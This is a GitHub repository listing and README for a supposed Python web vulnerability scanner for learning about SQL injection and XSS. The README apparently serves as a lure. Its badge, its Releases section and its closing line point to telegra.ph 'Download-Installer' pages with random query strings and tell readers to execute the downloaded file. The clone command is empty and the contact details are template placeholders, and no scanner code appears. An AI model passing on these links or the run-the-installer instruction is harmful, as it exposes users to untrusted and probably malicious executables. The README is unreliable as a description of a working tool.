https://github.com/sparta432/basic-web-vulnerability-scanner-ih
A Python-based web vulnerability scanner that identifies common security flaws like SQL Injection and XSS. Ideal for learning web application security and ethical hacking practices.
https://github.com/sparta432/basic-web-vulnerability-scanner-ih
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A Python-based web vulnerability scanner that identifies common security flaws like SQL Injection and XSS. Ideal for learning web application security and ethical hacking practices.
- Host: GitHub
- URL: https://github.com/sparta432/basic-web-vulnerability-scanner-ih
- Owner: sparta432
- Created: 2025-05-13T14:11:38.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2025-05-13T14:12:17.000Z (about 1 year ago)
- Last Synced: 2025-05-13T15:35:24.629Z (about 1 year ago)
- Topics: cybersecurity, ethical-hacking, open-source, python, security-testing, sql-injection, vulnerability-scanner, web-security, xss
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- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
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- Readme: README.md
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README
# Basic Web Vulnerability Scanner 🕵️♂️
[](https://telegra.ph/Download-Installer-1305-05-13?nrgemeq7o8jlatx)
Welcome to the **Basic Web Vulnerability Scanner**! This Python-based tool helps you identify common security flaws in web applications, such as SQL Injection and Cross-Site Scripting (XSS). It's perfect for anyone looking to learn about web application security and ethical hacking practices.
## Table of Contents
- [Introduction](#introduction)
- [Features](#features)
- [Technologies Used](#technologies-used)
- [Installation](#installation)
- [Usage](#usage)
- [Contributing](#contributing)
- [License](#license)
- [Contact](#contact)
- [Releases](#releases)
## Introduction
In today’s digital landscape, web applications are increasingly targeted by malicious actors. Understanding how to identify vulnerabilities is crucial for developers and security professionals alike. This scanner is designed to help you learn about these vulnerabilities in a hands-on manner.
## Features
- **SQL Injection Detection**: Identifies SQL injection vulnerabilities in your web applications.
- **XSS Detection**: Scans for Cross-Site Scripting vulnerabilities.
- **User-Friendly Interface**: Simple command-line interface for easy navigation.
- **Open Source**: Fully open-source and community-driven.
- **Educational Resource**: Ideal for those interested in cybersecurity and ethical hacking.
## Technologies Used
- **Python**: The primary programming language for this project.
- **Requests**: For making HTTP requests.
- **Beautiful Soup**: For parsing HTML and XML documents.
- **Flask**: Lightweight web framework for building web applications.
- **SQLite**: For database management.
## Installation
To install the Basic Web Vulnerability Scanner, follow these steps:
1. Clone the repository:
```bash
```
2. Navigate to the project directory:
```bash
cd Basic-Web-Vulnerability-Scanner
```
3. Install the required packages:
```bash
pip install -r requirements.txt
```
4. You are now ready to use the scanner!
## Usage
To run the scanner, execute the following command:
```bash
python scanner.py
```
Replace `` with the URL of the web application you want to scan. The scanner will output any detected vulnerabilities, along with recommendations for remediation.
## Contributing
We welcome contributions from the community! If you would like to contribute, please follow these steps:
1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Make your changes and commit them.
4. Push your branch to your forked repository.
5. Submit a pull request detailing your changes.
## License
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
## Contact
For any questions or feedback, please reach out to the project maintainer:
- **Name**: Your Name
- **Email**: your.email@example.com
## Releases
You can download the latest release of the Basic Web Vulnerability Scanner [here](https://telegra.ph/Download-Installer-1305-05-13?je8sgqht3zt6pv5). Make sure to execute the downloaded file to start scanning for vulnerabilities.
## Additional Resources
- [OWASP Top Ten](https://owasp.org/www-project-top-ten/) - A great resource for understanding the most critical web application security risks.
- [Python Requests Documentation](https://docs.python-requests.org/en/master/) - Learn more about the Requests library.
- [Flask Documentation](https://flask.palletsprojects.com/en/2.0.x/) - Explore the Flask web framework.
## Acknowledgments
- Special thanks to the open-source community for their invaluable contributions.
- Thanks to the OWASP foundation for their continuous efforts in improving web security.
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Feel free to explore the code and enhance the scanner. Your feedback is crucial for improving this tool and making it more effective for everyone interested in web application security.
You can always check the [Releases](https://telegra.ph/Download-Installer-1305-05-13?1yhgqu1vp7cijel) section for updates and new features. Happy scanning!